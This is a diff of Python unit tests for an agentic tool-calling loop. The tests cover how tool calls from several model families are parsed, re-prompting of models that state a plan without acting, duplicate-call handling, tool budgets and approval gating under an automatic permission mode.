+                ["done"],
+            ],
+            exec_results = ["ok"],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "hi"})]
+        # Mistral-provided ids must propagate to tool_start events.
+        tool_start = next(e for e in events if e["type"] == "tool_start")
+        assert tool_start["tool_call_id"] == "abc"
+
+    def test_mistral_v11_form(self):
+        # v11+ Mistral emission: bare ``name{json}`` after the trigger.
+        loop, exec_fn = _make_loop(
+            turns = [
+                ['[TOOL_CALLS]web_search{"query":"hi"}'],
+                ["done"],
+            ],
+            exec_results = ["ok"],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "hi"})]
+
+    def test_gemma4_form(self):
+        # Gemma 4 emission: ``<|tool_call>call:NAME{...}<tool_call|>``.
+        loop, exec_fn = _make_loop(
+            turns = [
+                [
+                    "<|tool_call>call:web_search{",
+                    'query:<|"|>weather<|"|>',
+                    "}<tool_call|>",
+                ],
+                ["sunny"],
+            ],
+            exec_results = ["Sunny, 22C"],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "weather"})]
+
+    def test_deepseek_v3_1_form(self):
+        # DeepSeek V3.1 emission inside the agentic loop -- the buffer state machine must wake on
+        # ``<｜tool▁calls▁begin｜>`` and the parser must extract the V3.1 bare-JSON body.
+        loop, exec_fn = _make_loop(
+            turns = [
+                [
+                    "<｜tool▁calls▁begin｜>",
+                    "<｜tool▁call▁begin｜>web_search",
+                    "<｜tool▁sep｜>",
+                    '{"query":"Tokyo weather"}',
+                    "<｜tool▁call▁end｜>",
+                    "<｜tool▁calls▁end｜>",
+                ],
+                ["The weather is sunny."],
+            ],
+            exec_results = ["Sunny, 22C"],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "Tokyo weather"})]
+        contents = [e for e in events if e["type"] == "content"]
+        assert contents and "sunny" in contents[-1]["text"].lower()
+
+    def test_glm_form(self):
+        # GLM 4.x emission: ``<tool_call>NAME\n<arg_key>...``.
+        loop, exec_fn = _make_loop(
+            turns = [
+                [
+                    "<tool_call>web_search\n",
+                    "<arg_key>query</arg_key>\n",
+                    "<arg_value>Tokyo</arg_value>\n",
+                    "</tool_call>",
+                ],
+                ["found"],
+            ],
+            exec_results = ["..."],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "Tokyo"})]
+
+    def test_kimi_form(self):
+        # Kimi K2 emission ``<|tool_calls_section_begin|>...``.
+        loop, exec_fn = _make_loop(
+            turns = [
+                [
+                    "<|tool_calls_section_begin|>",
+                    "<|tool_call_begin|>functions.web_search:0",
+                    "<|tool_call_argument_begin|>",
+                    '{"query":"Tokyo"}',
+                    "<|tool_call_end|>",
+                    "<|tool_calls_section_end|>",
+                ],
+                ["done"],
+            ],
+            exec_results = ["..."],
+        )
+        events = _collect_events(loop)
+        # The bare name must reach execute_tool, even though the model
+        # emitted ``functions.web_search:0`` as the formatted id.
+        assert exec_fn.calls == [("web_search", {"query": "Tokyo"})]
+        # tool_start carries the original full id so the conversation
+        # roundtrip can replay it verbatim.
+        tool_start = next(e for e in events if e["type"] == "tool_start")
+        assert tool_start["tool_call_id"] == "functions.web_search:0"
+
     def test_render_html_emits_provisional_tool_start(self):
         exec_fn = FakeExecuteTool(["Rendered HTML canvas."])
         turn_iter = iter(
@@ -531,6 +2592,50 @@ class TestLoopBasic:
         assert tool_starts[0]["arguments"] == {}
         assert "<!doctype html>" in tool_starts[1]["arguments"]["code"]
 
+    def test_render_html_auto_mode_static_runs_without_prompt(self):
+        """permission_mode="auto" ships confirm_tool_calls=true. render_html is no
+        longer unconditionally safe (a networked canvas must ask), so its early
+        provisional card is suppressed under the confirm gate; a static canvas is
+        still classified safe and runs without an approval prompt."""
+        exec_fn = FakeExecuteTool(["Rendered HTML canvas."])
+        turn_iter = iter(
+            [
+                [
+                    "<function=render_html>",
+                    "<parameter=code><!doctype html><html>",
+                    "<body>Hi</body></html></parameter></function>",
+                ],
+                ["Done."],
+            ]
+        )
+
+        def _gen(_messages):
+            chunks = next(turn_iter)
+            acc = ""
+            for chunk in chunks:
+                acc += chunk
+                yield acc
+
+        loop = run_safetensors_tool_loop(
+            single_turn = _gen,
+            messages = [{"role": "user", "content": "make html"}],
+            tools = [{"type": "function", "function": {"name": "render_html"}}],
+            execute_tool = exec_fn,
+            confirm_tool_calls = True,
+            permission_mode = "auto",
+            session_id = "sess",
+            max_tool_iterations = 3,
+        )
+        events = _collect_events(loop)
+        tool_starts = [e for e in events if e["type"] == "tool_start"]
+
+        # No early provisional card under the auto confirm gate; just the real call.
+        assert len(tool_starts) == 1
+        assert tool_starts[0]["tool_name"] == "render_html"
+        assert "<!doctype html>" in tool_starts[0]["arguments"]["code"]
+        # A static canvas is classified safe, so it runs without an approval gate.
+        assert tool_starts[0].get("awaiting_confirmation") in (False, None)
+
     def test_render_html_provisional_card_closed_on_generator_exception(self):
         """If the model generator raises mid-stream after a provisional render_html
         card was surfaced, the loop must close that card as errored before the
@@ -594,6 +2699,42 @@ class TestLoopBasic:
         assert tool_starts[0]["tool_name"] == "python"
         assert exec_fn.calls == [("python", {"code": "print('<function=render_html>')"})]
 
+    def test_render_html_rehearsed_in_think_block_emits_no_provisional_start(self):
+        # BUG B: a render_html rehearsed inside think before a real python call must not emit a
+        # provisional render_html card; only the outside-think call fires.
+        exec_fn = FakeExecuteTool(["ok"])
+        turn_iter = iter(
+            [
+                [
+                    '<think>draft render_html[ARGS]{"code":"x"}</think>',
+                    'python[ARGS]{"code":"print(1)"}',
+                ],
+                ["Done."],
+            ]
+        )
+
+        def _gen(_messages):
+            chunks = next(turn_iter)
+            acc = ""
+            for chunk in chunks:
+                acc += chunk
+                yield acc
+
+        loop = run_safetensors_tool_loop(
+            single_turn = _gen,
+            messages = [{"role": "user", "content": "run code"}],
+            tools = [
+                {"type": "function", "function": {"name": "render_html"}},
+                {"type": "function", "function": {"name": "python"}},
+            ],
+            execute_tool = exec_fn,
+        )
+        events = _collect_events(loop)
+        tool_starts = [e for e in events if e["type"] == "tool_start"]
+
+        assert [e["tool_name"] for e in tool_starts] == ["python"], tool_starts
+        assert exec_fn.calls == [("python", {"code": "print(1)"})]
+
     def test_render_html_success_blocks_second_canvas_call(self):
         exec_fn = FakeExecuteTool(["Rendered HTML canvas."])
         turn_iter = iter(
@@ -702,6 +2843,61 @@ class TestLoopBehaviour:
         ]
         assert len(duplicate_nudges) == 1
 
+    def test_same_turn_duplicate_does_not_drop_later_parallel_call(self):
+        # Turn 1 runs search(x). Turn 2's batch is [search(x) duplicate, python]:
+        # the duplicate is a no-op, but python after it must still run, and the
+        # no-op nudge must land after python's result rather than splitting it.
+        captured_messages: list[list[dict]] = []
+        turns = iter(
+            [
+                ['<tool_call>{"name":"web_search","arguments":{"query":"x"}}</tool_call>'],
+                [
+                    '<tool_call>{"name":"web_search","arguments":{"query":"x"}}</tool_call>'
+                    '<tool_call>{"name":"python","arguments":{"code":"print(1)"}}</tool_call>'
+                ],
+                ["final"],
+            ]
+        )
+
+        def fake_single_turn(messages, active_tools = None):
+            captured_messages.append([dict(m) for m in messages])
+            chunks = next(turns)
+            acc = ""
+            for chunk in chunks:
+                acc += chunk
+                yield acc
+
+        exec_fn = FakeExecuteTool(["search-x", "py-result"])
+        _collect_events(
+            run_safetensors_tool_loop(
+                single_turn = fake_single_turn,
+                messages = [{"role": "user", "content": "hi"}],
+                tools = [
+                    {"type": "function", "function": {"name": "web_search"}},
+                    {"type": "function", "function": {"name": "python"}},
+                ],
+                execute_tool = exec_fn,
+                max_tool_iterations = 4,
+            )
+        )
+
+        # Turn-1 search and turn-2 python both ran; the turn-2 duplicate search did not.
+        assert exec_fn.calls == [
+            ("web_search", {"query": "x"}),
+            ("python", {"code": "print(1)"}),
+        ]
+
+        conv = captured_messages[-1]
+        turn2 = [m for m in conv if m.get("role") == "assistant" and m.get("tool_calls")][-1]
+        assert [tc["function"]["name"] for tc in turn2["tool_calls"]] == ["python"]
+        after = conv[conv.index(turn2) + 1 :]
+        assert after[0]["role"] == "tool" and after[0]["content"] == "py-result"
+        assert after[1]["role"] == "user"  # deferred duplicate nudge, after the result
+        assert after[1]["content"].startswith(
+            "One earlier request to call tool 'web_search' in this batch was not executed"
+        )
+        assert "previous tool request" not in after[1]["content"].lower()
+
     def test_duplicate_tool_call_internal_noop_allows_distinct_followup_tool(self):
         captured_messages: list[list[dict]] = []
         captured_tool_names: list[list[str]] = []
@@ -765,6 +2961,59 @@ class TestLoopBehaviour:
         assert len(duplicate_nudges) == 1
         assert captured_tool_names[2] == ["web_search", "python"]
 
+    def test_duplicate_noop_does_not_consume_budget_at_small_cap(self):
+        # A duplicate/disabled no-op turn is a correction turn and must NOT spend the
+        # caller's tool budget, so with max_tool_iterations=2 the model can still make a
+        # DISTINCT valid call after repeating one. Only turns that actually execute a
+        # tool count -- matching the GGUF loop. (The budget used to be charged per
+        # non-re-prompt iteration, so the duplicate burned the second slot and the third
+        # turn was sent with no tools, dropping the ``python`` call.)
+        captured_tool_names: list[list[str]] = []
+        turns = iter(
+            [
+                ['<tool_call>{"name":"web_search","arguments":{"query":"x"}}</tool_call>'],
+                ['<tool_call>{"name":"web_search","arguments":{"query":"x"}}</tool_call>'],
+                ['<tool_call>{"name":"python","arguments":{"code":"print(1)"}}</tool_call>'],
+                ["final"],
+            ]
+        )
+
+        def fake_single_turn(messages, active_tools = None):
+            captured_tool_names.append(
+                [
+                    tool["function"]["name"]
+                    for tool in (active_tools or [])
+                    if tool.get("function", {}).get("name")
+                ]
+            )
+            chunks = next(turns)
+            acc = ""
+            for chunk in chunks:
+                acc += chunk
+                yield acc
+
+        exec_fn = FakeExecuteTool(["search-result", "python-result"])
+        _collect_events(
+            run_safetensors_tool_loop(
+                single_turn = fake_single_turn,
+                messages = [{"role": "user", "content": "hi"}],
+                tools = [
+                    {"type": "function", "function": {"name": "web_search"}},
+                    {"type": "function", "function": {"name": "python"}},
+                ],
+                execute_tool = exec_fn,
+                max_tool_iterations = 2,
+            )
+        )
+
+        # Both distinct tools execute; the repeated call in between did not cost a slot.
+        assert exec_fn.calls == [
+            ("web_search", {"query": "x"}),
+            ("python", {"code": "print(1)"}),
+        ]
+        # The turn after the duplicate still offered tools (budget not yet spent).
+        assert captured_tool_names[2] == ["web_search", "python"]
+
     def test_repeated_duplicate_noop_transitions_to_final_attempt(self):
         captured_tool_names: list[list[str]] = []
         turns = iter(
@@ -953,6 +3202,459 @@ class TestLoopBehaviour:
         assert "boom" in tool_end["result"]
 
 
+class TestLoopRePrompt:
+    """Plan-without-action re-prompt parity with GGUF: nudge instead of terminating, up to ``MAX_ACT_REPROMPTS`` extra slots. Unsloth always nudges, so these drive the loop with ``nudge_tool_calls=True``."""
+
+    def test_reasoning_intent_does_not_reprompt_a_visible_answer(self):
+        generations = 0
+
+        def _gen(_messages, active_tools = None):
+            nonlocal generations
+            generations += 1
+            yield (
+                "<think>Let me prepare the requested summary carefully.</think>"
+                "This is the final visible answer."
+            )
+
+        exec_fn = FakeExecuteTool([])
+        events = _collect_events(
+            run_safetensors_tool_loop(
+                single_turn = _gen,
+                messages = [{"role": "user", "content": "summarize this"}],
+                tools = [{"type": "function", "function": {"name": "web_search"}}],
+                execute_tool = exec_fn,
+                nudge_tool_calls = True,
+            )
+        )
+
+        assert generations == 1
+        assert exec_fn.calls == []
+        contents = [e["text"] for e in events if e["type"] == "content"]
+        assert contents[-1].endswith("This is the final visible answer.")
+
+    def test_prefilled_reasoning_intent_does_not_reprompt_a_visible_answer(self):
+        generations = 0
+
+        def _gen(_messages, active_tools = None):
+            nonlocal generations
+            generations += 1
+            yield "Let me prepare the requested summary carefully.</think>This is the final visible answer."
+
+        exec_fn = FakeExecuteTool([])
+        events = _collect_events(
+            run_safetensors_tool_loop(
+                single_turn = _gen,
+                messages = [{"role": "user", "content": "summarize this"}],
+                tools = [{"type": "function", "function": {"name": "web_search"}}],
+                execute_tool = exec_fn,
+                nudge_tool_calls = True,
+                reasoning_prefilled = True,
+            )
+        )
+
+        assert generations == 1
+        assert exec_fn.calls == []
+        contents = [e["text"] for e in events if e["type"] == "content"]
+        assert contents[-1].endswith("This is the final visible answer.")
+
+    def test_prefilled_reasoning_with_reemitted_think_does_not_reprompt(self):
+        generations = 0
+
+        def _gen(_messages, active_tools = None):
+            nonlocal generations
+            generations += 1
+            yield (
+                "Let me prepare the requested summary carefully."
+                "<think>more private planning</think>This is the final visible answer."
+            )
+
+        exec_fn = FakeExecuteTool([])
+        events = _collect_events(
+            run_safetensors_tool_loop(
+                single_turn = _gen,
+                messages = [{"role": "user", "content": "summarize this"}],
+                tools = [{"type": "function", "function": {"name": "web_search"}}],
+                execute_tool = exec_fn,
+                nudge_tool_calls = True,
+                reasoning_prefilled = True,
+            )
+        )
+
+        assert generations == 1
+        assert exec_fn.calls == []
+        contents = [e["text"] for e in events if e["type"] == "content"]
+        assert contents[-1].endswith("This is the final visible answer.")
+
+    def test_prefilled_reasoning_with_later_think_does_not_reprompt(self):
+        generations = 0
+
+        def _gen(_messages, active_tools = None):
+            nonlocal generations
+            generations += 1
+            yield (
+                "private prefilled planning</think>"
+                "<think>Let me prepare the requested summary carefully.</think>"
+                "This is the final visible answer."
+            )
+
+        exec_fn = FakeExecuteTool([])
+        events = _collect_events(
+            run_safetensors_tool_loop(
+                single_turn = _gen,
+                messages = [{"role": "user", "content": "summarize this"}],
+                tools = [{"type": "function", "function": {"name": "web_search"}}],
+                execute_tool = exec_fn,
+                nudge_tool_calls = True,
+                reasoning_prefilled = True,
+            )
+        )
+
+        assert generations == 1
+        assert exec_fn.calls == []
+        contents = [e["text"] for e in events if e["type"] == "content"]
+        assert contents[-1].endswith("This is the final visible answer.")
+
+    def test_reasoning_only_intent_still_reprompts_and_uses_a_tool(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["<think>Let me search for that.</think>"],
+                ['<tool_call>{"name":"web_search","arguments":{"query":"cats"}}</tool_call>'],
+                ["Here is the answer."],
+            ],
+            exec_results = ["result"],
+            nudge_tool_calls = True,
+        )
+
+        events = _collect_events(loop)
+
+        assert exec_fn.calls == [("web_search", {"query": "cats"})]
+        contents = [e["text"] for e in events if e["type"] == "content"]
+        assert contents[-1] == "Here is the answer."
+
+    def test_prefilled_no_close_reasoning_intent_still_reprompts(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["I need more context.<think>Let me search for that."],
+                ['<tool_call>{"name":"web_search","arguments":{"query":"cats"}}</tool_call>'],
+                ["Here is the answer."],
+            ],
+            exec_results = ["result"],
+            nudge_tool_calls = True,
+            reasoning_prefilled = True,
+        )
+
+        events = _collect_events(loop)
+
+        assert exec_fn.calls == [("web_search", {"query": "cats"})]
+        contents = [e["text"] for e in events if e["type"] == "content"]
+        assert contents[-1] == "Here is the answer."
+
+    def test_prefilled_reasoning_prefix_is_kept_for_reasoning_only_reprompt(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["Let me search for that.</think><think>checking details</think>"],
+                ['<tool_call>{"name":"web_search","arguments":{"query":"cats"}}</tool_call>'],
+                ["Here is the answer."],
+            ],
+            exec_results = ["result"],
+            nudge_tool_calls = True,
+            reasoning_prefilled = True,
+        )
+
+        events = _collect_events(loop)
+
+        assert exec_fn.calls == [("web_search", {"query": "cats"})]
+        contents = [e["text"] for e in events if e["type"] == "content"]
+        assert contents[-1] == "Here is the answer."
+
+    def test_reprompt_history_uses_visible_intent_text(self):
+        captured: list[list[dict]] = []
+
+        def _gen(messages, active_tools = None):
+            captured.append([dict(message) for message in messages])
+            if len(captured) == 1:
+                yield "<think>private planning details</think>Let me search for that."
+            elif len(captured) == 2:
+                yield '<tool_call>{"name":"web_search","arguments":{"query":"cats"}}</tool_call>'
+            else:
+                yield "Here is the answer."
+
+        exec_fn = FakeExecuteTool(["result"])
+        events = _collect_events(
+            run_safetensors_tool_loop(
+                single_turn = _gen,
+                messages = [{"role": "user", "content": "find cats"}],
+                tools = [{"type": "function", "function": {"name": "web_search"}}],
+                execute_tool = exec_fn,
+                nudge_tool_calls = True,
+            )
+        )
+
+        assert exec_fn.calls == [("web_search", {"query": "cats"})]
+        assert captured[1][1] == {"role": "assistant", "content": "Let me search for that."}
+        contents = [e["text"] for e in events if e["type"] == "content"]
+        assert contents[-1] == "Here is the answer."
+
+    def test_intent_signal_triggers_reprompt(self):
+        # Turn 1: intent signal, no tool call.
+        # Turn 2 (re-prompt): proper tool call -> executes.
+        # Turn 3: final answer.
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["Let me search for that."],
+                [
+                    '<tool_call>{"name":"web_search","arguments":'
+                    '{"query":"sky color"}}</tool_call>'
+                ],
+                ["The sky is blue."],
+            ],
+            exec_results = ["Blue (Rayleigh scattering)"],
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        # web_search must have been called once (after the re-prompt).
+        assert exec_fn.calls == [("web_search", {"query": "sky color"})]
+        contents = [e for e in events if e["type"] == "content"]
+        assert contents and "blue" in contents[-1]["text"].lower()
+
+    def test_intent_signal_without_tools_does_not_reprompt(self):
+        # Same intent signal but no tools enabled -- must NOT re-prompt.
+        loop, exec_fn = _make_loop(
+            turns = [["Let me think about that for a moment."]],
+            exec_results = [],
+        )
+        # _make_loop hard-codes three tools; rebuild without tools.
+        from core.inference.safetensors_agentic import run_safetensors_tool_loop
+
+        def _gen(_messages):
+            yield "Let me think about that for a moment."
+
+        exec_fn = FakeExecuteTool([])
+        events = _collect_events(
+            run_safetensors_tool_loop(
+                single_turn = _gen,
+                messages = [{"role": "user", "content": "hi"}],
+                tools = [],
+                execute_tool = exec_fn,
+            )
+        )
+        assert exec_fn.calls == []
+        contents = [e for e in events if e["type"] == "content"]
+        assert contents and "think" in contents[-1]["text"].lower()
+
+    def test_direct_answer_does_not_trigger_reprompt(self):
+        # Plain answer with no intent words: do NOT re-prompt.
+        loop, exec_fn = _make_loop(
+            turns = [["4"]],
+            exec_results = [],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        contents = [e for e in events if e["type"] == "content"]
+        assert contents and contents[-1]["text"].strip() == "4"
+
+    def test_max_reprompts_capped(self):
+        # Model keeps stalling with intent -- after MAX_ACT_REPROMPTS re-prompts
+        # the loop must give up rather than burn forever.
+        turns = [["Let me search for that."]] * 6  # well over the cap
+        loop, exec_fn = _make_loop(
+            turns = turns,
+            exec_results = [],
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop, max_events = 500)
+        # No tool ever ran, but the loop terminated cleanly.
+        assert exec_fn.calls == []
+        statuses = [e for e in events if e["type"] == "status"]
+        assert statuses and statuses[-1]["text"] == ""
+
+    def test_short_intent_below_buffer_threshold_triggers_reprompt(self):
+        # Short emission that never exits BUFFERING (< 32 chars + no
+        # marker prefix). The unified buffer-end path must still
+        # trigger the intent re-prompt, not silently terminate.
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["Let me check."],
+                ['<tool_call>{"name":"web_search","arguments":{"query":"x"}}</tool_call>'],
+                ["found"],
+            ],
+            exec_results = ["..."],
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "x"})]
+
+    def test_reprompt_does_not_consume_tool_budget(self):
+        # max_tool_iterations=1: one re-prompt, then one real tool call,
+        # then the budget-exhausted final answer must still fire. If the
+        # re-prompt ate the slot the tool call would never run.
+        loop, exec_fn = _make_loop(
+            turns = [
+                # 1. Intent stall (re-prompt).
+                ["Let me search for that."],
+                # 2. Real tool call (uses the budget slot).
+                ['<tool_call>{"name":"web_search","arguments":{"query":"weather"}}</tool_call>'],
+                # 3. Budget exhausted -> nudged final answer.
+                ["Final: it is sunny"],
+            ],
+            exec_results = ["sunny"],
+            max_tool_iterations = 1,
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "weather"})]
+        contents = [e for e in events if e["type"] == "content"]
+        assert contents and "sunny" in contents[-1]["text"].lower()
+
+
+class TestLoopCanonicalHealKey:
+    """Per-tool canonical heal key (``code``/``command``/``query``), mirroring GGUF."""
+
+    def test_python_bare_string_heals_to_code(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ['<tool_call>{"name":"python","arguments":"print(1)"}' "</tool_call>"],
+                ["done"],
+            ],
+            exec_results = ["1\n"],
+        )
+        events = _collect_events(loop)
+        # The bare string must heal to {"code": "print(1)"}, not
+        # {"query": ...}, so the python sandbox actually executes it.
+        assert exec_fn.calls == [("python", {"code": "print(1)"})]
+
+    def test_terminal_bare_string_heals_to_command(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ['<tool_call>{"name":"terminal","arguments":"ls -la"}' "</tool_call>"],
+                ["done"],
+            ],
+            exec_results = ["..."],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("terminal", {"command": "ls -la"})]
+
+    def test_unknown_tool_bare_string_heals_to_query(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ['<tool_call>{"name":"web_search","arguments":"hello"}' "</tool_call>"],
+                ["ok"],
+            ],
+            exec_results = ["..."],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "hello"})]
+
+
+class TestGGUFSafetensorsHealingParity:
+    """Pin GGUF vs safetensors/MLX loop parity so a regression on either side breaks CI."""
+
+    def test_gguf_imports_shared_signal_markers(self):
+        # The GGUF BUFFERING state machine must wake on every emission
+        # marker the shared parser knows -- otherwise Llama-3 / Mistral
+        # / Gemma 4 emissions slip past as plain prose when the
+        # llama-server structured channel fails.
+        import inspect
+
+        from core.inference.llama_cpp import LlamaCppBackend
+
+        src = inspect.getsource(LlamaCppBackend.generate_chat_completion_with_tools)
+        assert "_SHARED_TOOL_XML_SIGNALS" in src, (
+            "GGUF agentic loop must reuse the shared TOOL_XML_SIGNALS "
+            "tuple so it wakes on all five emission formats"
+        )
+
+    def test_gguf_uses_shared_strip_helper(self):
+        # The GGUF stream-cleanup function must delegate to the shared
+        # strip_tool_markup so closed-pair markup is removed for every
+        # emission family (Llama-3 <|python_tag|>, Mistral [TOOL_CALLS],
+        # Gemma 4 <|tool_call>...<tool_call|>).
+        import inspect
+
+        from core.inference.llama_cpp import LlamaCppBackend
+
+        src = inspect.getsource(LlamaCppBackend.generate_chat_completion_with_tools)
+        assert (
+            "_shared_strip_tool_markup" in src
+        ), "GGUF stream cleanup must delegate to the shared strip_tool_markup helper"
+
+    def test_gguf_uses_canonical_heal_keys(self):
+        # GGUF and safetensors heal a bare-string ``arguments`` to the same
+        # per-tool canonical key -- ``code`` for python, ``command`` for
+        # terminal, ``query`` for everything else. The mapping is centralised in
+        # the shared ToolLoopController (both backends route bare-string args
+        # through ``coerce_tool_arguments``), so the two paths cannot drift.
+        from core.inference.tool_loop_controller import (
+            _CANONICAL_HEAL_ARG,
+            coerce_tool_arguments,
+        )
+
+        assert _CANONICAL_HEAL_ARG["python"] == "code"
+        assert _CANONICAL_HEAL_ARG["terminal"] == "command"
+        assert coerce_tool_arguments("print(1)", heal = True, tool_name = "python").arguments == {
+            "code": "print(1)"
+        }
+        assert coerce_tool_arguments("ls -la", heal = True, tool_name = "terminal").arguments == {
+            "command": "ls -la"
+        }
+        assert coerce_tool_arguments("weather", heal = True, tool_name = "web_search").arguments == {
+            "query": "weather"
+        }
+
+    def test_intent_regex_matches_same_phrases_as_gguf(self):
+        # The intent re-prompt regex is now a single shared source of truth
+        # (tool_call_parser.INTENT_SIGNAL) consumed by both the GGUF and the
+        # safetensors/MLX loops, so behaviour is identical on Mac and Linux.
+        # Both backends must resolve to that one shared helper.
+        from core.inference.llama_cpp import (
+            _is_short_intent_without_action as gguf_fn,
+        )
+        from core.inference.safetensors_agentic import (
+            is_short_intent_without_action as sf_fn,
+        )
+        from core.inference.tool_call_parser import (
+            INTENT_SIGNAL as shared_re,
+            is_short_intent_without_action as shared_fn,
+        )
+
+        assert gguf_fn is shared_fn and sf_fn is shared_fn
+
+        for phrase in (
+            "I'll search for that",
+            "I will look it up",
+            "Let me check",
+            "I am going to call the tool",
+            "First, I will explore",
+            "Here's my plan",
+            "Now I need to call web_search",
+        ):
+            assert shared_re.search(phrase), f"missed {phrase!r}"
+            assert shared_fn(phrase), f"helper missed {phrase!r}"
+
+        for plain in (
+            "4",
+            "Hello!",
+            "The sky is blue.",
+            "I can help with that.",
+            "I should mention",
+            "Let's go.",
+            # Negated intent is a refusal, not a plan: neither backend may
+            # force a tool-call re-prompt on it.
+            "I will not search the web for that.",
+            "I'll never call that tool.",
+        ):
+            assert not shared_re.search(plain), f"wrongly fired on {plain!r}"
+            assert not shared_fn(plain), f"helper wrongly fired on {plain!r}"
+
+    def test_max_reprompts_equal_on_both_backends(self):
+        # Both loops draw the cap from the shared constant, so they stay equal.
+        from core.inference.llama_cpp import _MAX_REPROMPTS as gguf_cap
+        from core.inference.safetensors_agentic import MAX_ACT_REPROMPTS as sf_cap
+        from core.inference.tool_call_parser import MAX_ACT_REPROMPTS as shared_cap
+
+        assert gguf_cap == sf_cap == shared_cap
+
+
 class TestLoopControl:
     def test_cancel_event_breaks_loop(self):
         cancel = threading.Event()
@@ -1261,6 +3963,26 @@ class TestGuardrails:
         assert any(e.get("type") == "content" and e.get("text") == "plain answer" for e in events)
         assert exec_fn.calls == []
 
+    def test_auto_mode_still_runs_rag_autoinject(self, monkeypatch):
+        # "auto" sends confirm_tool_calls=true so unsafe calls gate, but the
+        # safe search_knowledge_base retrieval never gates, so autoinject must
+        # still run (unlike ask mode above).
+        ran = {"called": False}
+
+        def fake_autoinject(*_args, **_kwargs):
+            ran["called"] = True
+            return None
+
+        monkeypatch.setattr("core.inference.tools.build_rag_autoinject", fake_autoinject)
+        loop, _exec_fn = _make_loop(
+            turns = [["plain answer"]],
+            confirm_tool_calls = True,
+            permission_mode = "auto",
+            rag_scope = {"thread_id": "t1"},
+        )
+        _collect_events(loop)
+        assert ran["called"] is True
+
     def test_auto_heal_disabled_preserves_xml_on_final_no_tools_pass(self):
         turns = iter(
             [
@@ -1369,6 +4091,28 @@ class TestGuardrails:
             and event.get("type") in {"tool_start", "tool_end"}
         ]
 
+    def test_same_turn_distinct_calls_are_capped(self):
+        # >_MAX_TOOL_CALLS_PER_TURN DISTINCT calls in one turn must be capped so a runaway turn
+        # cannot fan out into many executions (the GGUF path is held back by llama-server's lazy ...
+        from core.inference.safetensors_agentic import _MAX_TOOL_CALLS_PER_TURN
+
+        n = _MAX_TOOL_CALLS_PER_TURN + 4
+        turn = "".join(
+            '<tool_call>{"name":"web_search","arguments":{"query":"q%d"}}</tool_call>' % i
+            for i in range(n)
+        )
+        loop, exec_fn = _make_loop(
+            turns = [[turn], ["final"]],
+            exec_results = ["r"] * n,
+            max_tool_iterations = 2,
+        )
+        _collect_events(loop)
+        assert len(exec_fn.calls) == _MAX_TOOL_CALLS_PER_TURN
+        # The first N distinct queries executed, in document order.
+        assert [a["query"] for _name, a in exec_fn.calls] == [
+            "q%d" % i for i in range(_MAX_TOOL_CALLS_PER_TURN)
+        ]
+
     def test_coerce_string_args_python_uses_code_key(self):
         assert _coerce_arguments("print(1)", heal = True, tool_name = "python") == {"code": "print(1)"}
 
@@ -1407,5 +4151,918 @@ class TestGptOssNameDetection:
         assert is_gpt_oss_model_name(cast(str, None)) is False
 
 
+# ────────────────────────────────────────────────────────────────────
+# Plan-without-action re-prompt (GGUF loop parity)
+# ────────────────────────────────────────────────────────────────────
+
+
+class TestPlanWithoutActionReprompt:
+    def test_short_intent_is_reprompted_and_tool_executes(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["I'll search the web for that."],
+                ['<tool_call>{"name":"web_search","arguments":{"query":"cats"}}</tool_call>'],
+                ["Here is the final answer."],
+            ],
+            exec_results = ["result-1"],
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert [c[0] for c in exec_fn.calls] == ["web_search"]
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert any("Here is the final answer." in t for t in texts)
+
+    def test_reprompt_fires_up_to_the_cap(self):
+        # GGUF parity: a persistently stalling model is re-prompted up to
+        # MAX_ACT_REPROMPTS times, then the last stall is surrendered as the
+        # final answer and no further turn is generated.
+        from core.inference.tool_call_parser import MAX_ACT_REPROMPTS
+
+        stall = "Let me look into it first."
+        turns = [["I'll search the web for that."]]
+        turns += [[stall]] * MAX_ACT_REPROMPTS
+        turns += [["SHOULD NOT APPEAR"]]
+
+        generations = {"count": 0}
+        turn_iter = iter(turns)
+
+        def _gen(_messages):
+            generations["count"] += 1
+            try:
+                chunks = next(turn_iter)
+            except StopIteration:
+                return
+            acc = ""
+            for c in chunks:
+                acc += c
+                yield acc
+
+        exec_fn = FakeExecuteTool([])
+        loop = run_safetensors_tool_loop(
+            single_turn = _gen,
+            messages = [{"role": "user", "content": "hi"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            execute_tool = exec_fn,
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        # One initial turn plus exactly MAX_ACT_REPROMPTS re-prompted turns.
+        assert generations["count"] == MAX_ACT_REPROMPTS + 1
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert any(stall in t for t in texts)
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+    def test_long_prose_answer_is_not_reprompted(self):
+        long_answer = "I'll keep explaining the details of the topic. " * 60
+        loop, exec_fn = _make_loop(
+            turns = [
+                [long_answer],
+                ["SHOULD NOT APPEAR"],
+            ],
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        texts = [e["text"] for e in events if e["type"] == "content"]
